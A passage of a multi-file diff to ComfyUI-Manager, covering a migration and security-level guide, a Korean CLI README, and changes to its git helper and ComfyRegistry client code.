|
||||
During migration, if your security level is below `normal` (i.e., `weak` or `normal-`), it will be automatically raised to `normal`. This is a safety measure because the security level setting itself may have been tampered with in the old version.
|
||||
|
||||
```
|
||||
======================================================================
|
||||
[ComfyUI-Manager] WARNING: Security level adjusted
|
||||
- Previous: 'weak' → New: 'normal'
|
||||
- Raised to prevent unauthorized remote access.
|
||||
======================================================================
|
||||
```
|
||||
|
||||
If you need a lower security level, you can manually edit the config after migration.
|
||||
|
||||
### Step 3: Legacy Backup
|
||||
|
||||
Your entire legacy directory is moved to a backup location:
|
||||
```
|
||||
user/__manager/.legacy-manager-backup/
|
||||
```
|
||||
|
||||
This backup is preserved until you manually delete it.
|
||||
|
||||
---
|
||||
|
||||
## Persistent Backup Notification
|
||||
|
||||
As long as the backup exists, Manager will remind you on **every startup**:
|
||||
|
||||
```
|
||||
----------------------------------------------------------------------
|
||||
[ComfyUI-Manager] NOTICE: Legacy backup exists
|
||||
- Your old Manager data was backed up to:
|
||||
/path/to/ComfyUI/user/__manager/.legacy-manager-backup
|
||||
- Please verify and remove it when no longer needed.
|
||||
----------------------------------------------------------------------
|
||||
```
|
||||
|
||||
**To stop this notification**: Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
|
||||
|
||||
---
|
||||
|
||||
## Recovering Old Data
|
||||
|
||||
### Snapshots
|
||||
|
||||
If you need your old snapshots, copy the contents of `.legacy-manager-backup/snapshots/` to `user/__manager/snapshots/`.
|
||||
|
||||
---
|
||||
|
||||
## Outdated ComfyUI Warning
|
||||
|
||||
If you're running an older version of ComfyUI without the System User Protection API, Manager will:
|
||||
|
||||
1. **Force security level to `strong`** - All installations are blocked
|
||||
2. **Display warning message**:
|
||||
|
||||
```
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
[ComfyUI-Manager] ERROR: ComfyUI version is outdated!
|
||||
- Most operations are blocked for security.
|
||||
- ComfyUI update is still allowed.
|
||||
- Please update ComfyUI to use Manager normally.
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
```
|
||||
|
||||
**Solution**: Update ComfyUI to v0.3.76 or later.
|
||||
|
||||
---
|
||||
|
||||
## Security Levels
|
||||
|
||||
| Level | What's Allowed |
|
||||
|-------|----------------|
|
||||
| `strong` | ComfyUI update only. All other installations blocked. |
|
||||
| `normal` | Install/update/remove registered custom nodes and models. |
|
||||
| `normal-` | Above + Install via Git URL or pip (localhost only). |
|
||||
| `weak` | All operations allowed, including from remote connections. |
|
||||
|
||||
**Notes:**
|
||||
- `strong` is forced on outdated ComfyUI versions.
|
||||
- `normal` is the default and recommended for most users.
|
||||
- `normal-` is for developers who need to install unregistered nodes locally.
|
||||
- `weak` should only be used in isolated development environments.
|
||||
|
||||
### Changing Security Level
|
||||
|
||||
Edit `user/__manager/config.ini`:
|
||||
```ini
|
||||
[default]
|
||||
security_level = normal
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Messages
|
||||
|
||||
### "comfyui_outdated" (HTTP 403)
|
||||
|
||||
This error appears when:
|
||||
- Your ComfyUI doesn't have the System User Protection API
|
||||
- All installations are blocked until you update ComfyUI
|
||||
|
||||
**Solution**: Update ComfyUI to the latest version.
|
||||
|
||||
### "security_level" (HTTP 403)
|
||||
|
||||
This error appears when:
|
||||
- Your security level blocks the requested operation
|
||||
- For example, `strong` level blocks all installations
|
||||
|
||||
**Solution**: Lower your security level in config.ini if appropriate for your use case.
|
||||
|
||||
---
|
||||
|
||||
## Security Warning: Suspicious Path
|
||||
|
||||
If you see this error on an **older** ComfyUI:
|
||||
|
||||
```
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
[ComfyUI-Manager] ERROR: Suspicious path detected!
|
||||
- '__manager' exists with low security level: 'weak'
|
||||
- Please verify manually:
|
||||
/path/to/ComfyUI/user/__manager/config.ini
|
||||
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
```
|
||||
|
||||
On older ComfyUI versions, the `__manager` directory is not normally created. If this directory exists, it may have been created externally. For safety, manually verify the contents of this directory before updating ComfyUI.
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### All my installations are blocked
|
||||
|
||||
**Check 1**: Is your ComfyUI updated?
|
||||
- Old ComfyUI forces `security_level = strong`
|
||||
- Update ComfyUI to resolve
|
||||
|
||||
**Check 2**: What's your security level?
|
||||
- Check `user/__manager/config.ini`
|
||||
- `security_level = strong` blocks all installations
|
||||
|
||||
### My snapshots are missing
|
||||
|
||||
Snapshots are not automatically migrated. You need to manually copy the `snapshots` folder from inside `.legacy-manager-backup` to the `user/__manager/` directory.
|
||||
|
||||
### I keep seeing the backup notification
|
||||
|
||||
Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
|
||||
|
||||
### Snapshot restore is blocked
|
||||
|
||||
On old ComfyUI (without System User API), snapshot restore is blocked because security is forced to `strong`. Update ComfyUI to enable snapshot restore.
|
||||
|
||||
---
|
||||
|
||||
## File Structure Reference
|
||||
|
||||
```
|
||||
user/
|
||||
└── __manager/
|
||||
├── config.ini # Manager configuration
|
||||
├── channels.list # Custom node channels
|
||||
├── snapshots/ # Environment snapshots
|
||||
└── .legacy-manager-backup/ # Backup of old Manager data (temporary)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
- **ComfyUI**: v0.3.76 or later (with System User Protection API)
|
||||
- **ComfyUI-Manager**: V3.38 or later
|
||||
+31
-55
@@ -7,39 +7,40 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
cm-cli [OPTIONS]
|
||||
python cm-cli.py [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* `cm-cli` 명령으로 실행할 수 있습니다.
|
||||
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
|
||||
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
|
||||
* `cm-cli update all` 명령을 실행할 수 있습니다.
|
||||
* ComfyUI-Manager 경로에서 `python cm-cli.py update all` 명령을 실행할 수 있습니다.
|
||||
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
|
||||
|
||||
## Prerequisite
|
||||
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
|
||||
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
|
||||
* 예를 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* 예를 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
|
||||
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
|
||||
|
||||
### 2. 관리 정보 보기
|
||||
@@ -50,7 +51,7 @@ OPTIONS:
|
||||
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
|
||||
|
||||
|
||||
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
`python cm-cli.py show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
@@ -66,7 +67,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
`python cm-cli.py simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -95,7 +96,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
|
||||
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
|
||||
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
|
||||
|
||||
@@ -112,26 +113,11 @@ ComfyUI-Loopchain
|
||||
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
|
||||
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
|
||||
|
||||
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
|
||||
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
|
||||
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
|
||||
* `reinstall --uv-compile`은 `--no-deps`와 동시에 사용할 수 없습니다.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. 스냅샷 관리 기능
|
||||
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
|
||||
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
|
||||
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
|
||||
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
|
||||
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
|
||||
@@ -140,35 +126,25 @@ cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
* `--user-directory`: 사용자 디렉토리 설정
|
||||
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
|
||||
|
||||
### 5. 의존성 설치
|
||||
### 5. CLI only mode
|
||||
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
|
||||
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
|
||||
|
||||
|
||||
### 6. 의존성 설치
|
||||
|
||||
`restore-dependencies`
|
||||
|
||||
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
|
||||
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
|
||||
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
|
||||
|
||||
### 6. 의존성 파일로 설치
|
||||
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
|
||||
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
|
||||
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
|
||||
* `uv`가 설치된 환경에서만 동작합니다.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. clear
|
||||
### 7. clear
|
||||
|
||||
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,6 +2,7 @@ import subprocess
|
||||
import sys
|
||||
import os
|
||||
import traceback
|
||||
import time
|
||||
|
||||
import git
|
||||
import json
|
||||
@@ -15,12 +16,9 @@ comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
git_exe_path = os.environ.get('GIT_EXE_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
print("git_helper: environment variable 'COMFYUI_PATH' is not specified.")
|
||||
exit(-1)
|
||||
print("\nWARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.", file=sys.stderr)
|
||||
comfy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
|
||||
print("git_helper: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.")
|
||||
exit(-1)
|
||||
|
||||
def download_url(url, dest_folder, filename=None):
|
||||
# Ensure the destination folder exists
|
||||
@@ -50,6 +48,9 @@ working_directory = os.getcwd()
|
||||
|
||||
if os.path.basename(working_directory) != 'custom_nodes':
|
||||
print("WARN: This script should be executed in custom_nodes dir")
|
||||
print(f"DBG: INFO {working_directory}")
|
||||
print(f"DBG: INFO {sys.argv}")
|
||||
# exit(-1)
|
||||
|
||||
|
||||
class GitProgress(RemoteProgress):
|
||||
@@ -64,60 +65,14 @@ class GitProgress(RemoteProgress):
|
||||
self.pbar.refresh()
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None):
|
||||
"""Get backup branch name with current timestamp.
|
||||
|
||||
Inlined from timestamp_utils to keep git_helper.py standalone — this script
|
||||
runs as a subprocess on Windows and must not import from comfyui_manager.
|
||||
"""
|
||||
import time as _time
|
||||
import uuid as _uuid
|
||||
|
||||
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.heads}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
|
||||
if repo_path is None:
|
||||
repo_path = os.path.join(custom_nodes_path, repo_name)
|
||||
|
||||
# On Windows, previous failed clones may leave directories with locked
|
||||
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
|
||||
# Rename stale directory out of the way so clone can proceed.
|
||||
if os.path.exists(repo_path):
|
||||
import shutil
|
||||
import uuid as _uuid
|
||||
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(repo_path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(repo_path, ignore_errors=True)
|
||||
|
||||
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
|
||||
progress = GitProgress() if sys.stderr.isatty() else None
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=progress)
|
||||
# Clone the repository from the remote URL
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
|
||||
|
||||
if target_hash is not None:
|
||||
print(f"CHECKOUT: {repo_name} [{target_hash}]")
|
||||
@@ -199,27 +154,27 @@ def switch_to_default_branch(repo):
|
||||
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
|
||||
repo.git.checkout(default_branch)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
# try checkout master
|
||||
# try checkout main if failed
|
||||
try:
|
||||
repo.git.checkout(repo.heads.master)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'master', f'{remote_name}/master')
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
repo.git.checkout(repo.heads.main)
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
try:
|
||||
if remote_name is not None:
|
||||
repo.git.checkout('-b', 'main', f'{remote_name}/main')
|
||||
return True
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
print("[ComfyUI Manager] Failed to switch to the default branch")
|
||||
@@ -268,7 +223,7 @@ def gitpull(path):
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
|
||||
repo.create_head(backup_name)
|
||||
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
@@ -497,7 +452,7 @@ def restore_pip_snapshot(pips, options):
|
||||
res = 1
|
||||
try:
|
||||
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install'] + non_url)
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
# fallback
|
||||
@@ -506,7 +461,7 @@ def restore_pip_snapshot(pips, options):
|
||||
res = 1
|
||||
try:
|
||||
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
if res != 0:
|
||||
@@ -517,7 +472,7 @@ def restore_pip_snapshot(pips, options):
|
||||
res = 1
|
||||
try:
|
||||
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
if res != 0:
|
||||
@@ -528,7 +483,7 @@ def restore_pip_snapshot(pips, options):
|
||||
res = 1
|
||||
try:
|
||||
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
if res != 0:
|
||||
@@ -570,9 +525,7 @@ try:
|
||||
restore_pip_snapshot(pips, options)
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
print(e, file=sys.stderr)
|
||||
if hasattr(e, 'stderr') and e.stderr:
|
||||
print(e.stderr, file=sys.stderr)
|
||||
sys.exit(1)
|
||||
print(e)
|
||||
sys.exit(-1)
|
||||
|
||||
|
||||
+22568
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -2,16 +2,20 @@
|
||||
|
||||
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
|
||||
|
||||
## Directory Structure
|
||||
- **glob/** - code for new cacheless ComfyUI-Manager
|
||||
- **legacy/** - code for legacy ComfyUI-Manager
|
||||
|
||||
## Core Modules
|
||||
|
||||
- **manager_core.py**: The central implementation of management functions, handling configuration, installation, updates, and node management.
|
||||
- **manager_server.py**: Implements server functionality and API endpoints for the web interface to interact with the backend.
|
||||
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
|
||||
- **manager_util.py**: Provides utility functions used throughout the system.
|
||||
|
||||
## Specialized Modules
|
||||
|
||||
- **cm_global.py**: Maintains global variables and state management across the system.
|
||||
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
|
||||
- **git_utils.py**: Git-specific utilities for repository operations.
|
||||
- **node_package.py**: Handles the packaging and installation of node extensions.
|
||||
- **security_check.py**: Implements the multi-level security system for installation safety.
|
||||
- **share_3rdparty.py**: Manages integration with third-party sharing platforms.
|
||||
|
||||
## Architecture
|
||||
@@ -6,12 +6,10 @@ import time
|
||||
from dataclasses import dataclass
|
||||
from typing import List
|
||||
|
||||
from . import context
|
||||
from . import manager_util
|
||||
|
||||
import manager_core
|
||||
import manager_util
|
||||
import requests
|
||||
import toml
|
||||
import logging
|
||||
|
||||
base_url = "https://api.comfy.org"
|
||||
|
||||
@@ -24,7 +22,7 @@ async def get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
try:
|
||||
return await _get_cnr_data(cache_mode, dont_wait)
|
||||
except asyncio.TimeoutError:
|
||||
logging.info("A timeout occurred during the fetch process from ComfyRegistry.")
|
||||
print("A timeout occurred during the fetch process from ComfyRegistry.")
|
||||
return await _get_cnr_data(cache_mode=True, dont_wait=True) # timeout fallback
|
||||
|
||||
async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
@@ -49,9 +47,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
# Get ComfyUI version tag
|
||||
if is_desktop:
|
||||
# extract version from pyproject.toml instead of git tag
|
||||
comfyui_ver = context.get_current_comfyui_ver() or 'unknown'
|
||||
comfyui_ver = manager_core.get_current_comfyui_ver() or 'unknown'
|
||||
else:
|
||||
comfyui_ver = context.get_comfyui_tag() or 'unknown'
|
||||
comfyui_ver = manager_core.get_comfyui_tag() or 'unknown'
|
||||
|
||||
if is_desktop:
|
||||
if is_windows:
|
||||
@@ -69,10 +67,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
form_factor = 'git-linux'
|
||||
else:
|
||||
form_factor = 'other'
|
||||
|
||||
from comfyui_manager.glob import manager_core
|
||||
verbose = manager_core.get_config().get('verbose', False)
|
||||
|
||||
|
||||
while remained:
|
||||
# Add comfyui_version and form_factor to the API request
|
||||
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
|
||||
@@ -82,13 +77,13 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
for x in sub_json_obj['nodes']:
|
||||
full_nodes[x['id']] = x
|
||||
|
||||
if page % 5 == 0 and verbose:
|
||||
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
|
||||
if page % 5 == 0:
|
||||
print(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
|
||||
|
||||
page += 1
|
||||
time.sleep(0.5)
|
||||
|
||||
logging.info("FETCH ComfyRegistry Data [DONE]")
|
||||
print("FETCH ComfyRegistry Data [DONE]")
|
||||
|
||||
for v in full_nodes.values():
|
||||
if 'latest_version' not in v:
|
||||
@@ -104,7 +99,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
if cache_state == 'not-cached':
|
||||
return {}
|
||||
else:
|
||||
logging.info("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
|
||||
print("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
|
||||
with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
|
||||
return json.load(json_file)['nodes']
|
||||
|
||||
@@ -116,9 +111,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
json_obj = await fetch_all()
|
||||
manager_util.save_to_cache(uri, json_obj)
|
||||
return json_obj['nodes']
|
||||
except Exception:
|
||||
except:
|
||||
res = {}
|
||||
logging.warning("Cannot connect to comfyregistry.")
|
||||
print("Cannot connect to comfyregistry.")
|
||||
finally:
|
||||
if cache_mode:
|
||||
is_cache_loading = False
|
||||
@@ -215,7 +210,6 @@ def read_cnr_info(fullpath):
|
||||
|
||||
project = data.get('project', {})
|
||||
name = project.get('name').strip().lower()
|
||||
original_name = project.get('name')
|
||||
|
||||
# normalize version
|
||||
# for example: 2.5 -> 2.5.0
|
||||
@@ -227,7 +221,6 @@ def read_cnr_info(fullpath):
|
||||
if name and version: # repository is optional
|
||||
return {
|
||||
"id": name,
|
||||
"original_name": original_name,
|
||||
"version": version,
|
||||
"url": repository
|
||||
}
|
||||
@@ -243,8 +236,8 @@ def generate_cnr_id(fullpath, cnr_id):
|
||||
if not os.path.exists(cnr_id_path):
|
||||
with open(cnr_id_path, "w") as f:
|
||||
return f.write(cnr_id)
|
||||
except Exception:
|
||||
logging.error(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
|
||||
except:
|
||||
print(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
|
||||
|
||||
|
||||
def read_cnr_id(fullpath):
|
||||
@@ -253,7 +246,7 @@ def read_cnr_id(fullpath):
|
||||
if os.path.exists(cnr_id_path):
|
||||
with open(cnr_id_path) as f:
|
||||
return f.read().strip()
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
@@ -74,12 +74,6 @@ def normalize_to_github_id(url) -> str:
|
||||
|
||||
return f"{author}/{repo_name}"
|
||||
|
||||
# Handle short format like "author/repo" (aux_id format)
|
||||
if '/' in url and not url.startswith('http'):
|
||||
parts = url.split('/')
|
||||
if len(parts) == 2 and parts[0] and parts[1]:
|
||||
return url
|
||||
|
||||
return None
|
||||
|
||||
|
||||
@@ -15,7 +15,6 @@ import platform
|
||||
from datetime import datetime
|
||||
|
||||
import git
|
||||
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
|
||||
from git.remote import RemoteProgress
|
||||
from urllib.parse import urlparse
|
||||
from tqdm.auto import tqdm
|
||||
